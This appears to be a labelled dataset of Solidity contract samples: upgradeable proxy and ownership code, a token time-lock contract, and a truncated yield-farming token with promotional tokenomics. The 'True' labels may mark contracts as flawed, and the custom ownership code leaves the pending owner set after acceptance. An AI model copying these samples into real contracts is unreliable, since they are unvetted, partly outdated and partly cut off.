// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
address private _pendingOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init(address _ownerAddress) internal initializer {
__Context_init_unchained();
__Ownable_init_unchained(_ownerAddress);
}
function __Ownable_init_unchained(address _ownerAddress) internal initializer {
_owner = _ownerAddress;
emit OwnershipTransferred(address(0), _ownerAddress);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Returns the address of the pending owner.
*/
function pendingOwner() public view virtual returns (address) {
return _pendingOwner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function safeTransferOwnership(address newOwner, bool safely) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
if (safely) {
_pendingOwner = newOwner;
} else {
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
_pendingOwner = address(0);
}
}
function safeAcceptOwnership() public virtual {
require(_msgSender() == _pendingOwner, "acceptOwnership: Call must come from pendingOwner.");
emit OwnershipTransferred(_owner, _pendingOwner);
_owner = _pendingOwner;
}
uint256[48] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./Proxy.sol";
import "../utils/Address.sol";
/**
* @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
* implementation address that can be changed. This address is stored in storage in the location specified by
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
* implementation behind the proxy.
*
* Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see
* {TransparentUpgradeableProxy}.
*/
contract UpgradeableProxy is Proxy {
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
* function call, and allows initializating the storage of the proxy like a Solidity constructor.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
Address.functionDelegateCall(_logic, _data);
}
}
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function _implementation() internal view virtual override returns (address impl) {
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal virtual {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "UpgradeableProxy: new implementation is not a contract");
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newImplementation)
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback () external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive () external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
import "../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../proxy/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
|
True
|
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102
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] |
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public{
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 28684800;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0xCe976662b83e3D3682c3cfF78499Cf8e98c73460;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
}
|
True
|
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/*
My Token Totoro!
👨🌾 2 Yield Farming:
💥 Deflationary Token Emission - start 40 to 0.625 Ingot per block
🔸 MTT NFT Pool
🦄 MTT/ETH Uniswap LP
🌐 Tokenomics:
🚀 Max Circulating supply - 15.660.000 INGOT:
🔸 75.5% Community Farming
🔸 10.5% Token Pre Sale
🔸 8.4% Team
🔸 5.6% Initial LP on Uniswap
🔥 Burning all NFT and Token spent
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.11;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.s
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity functi
* on calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
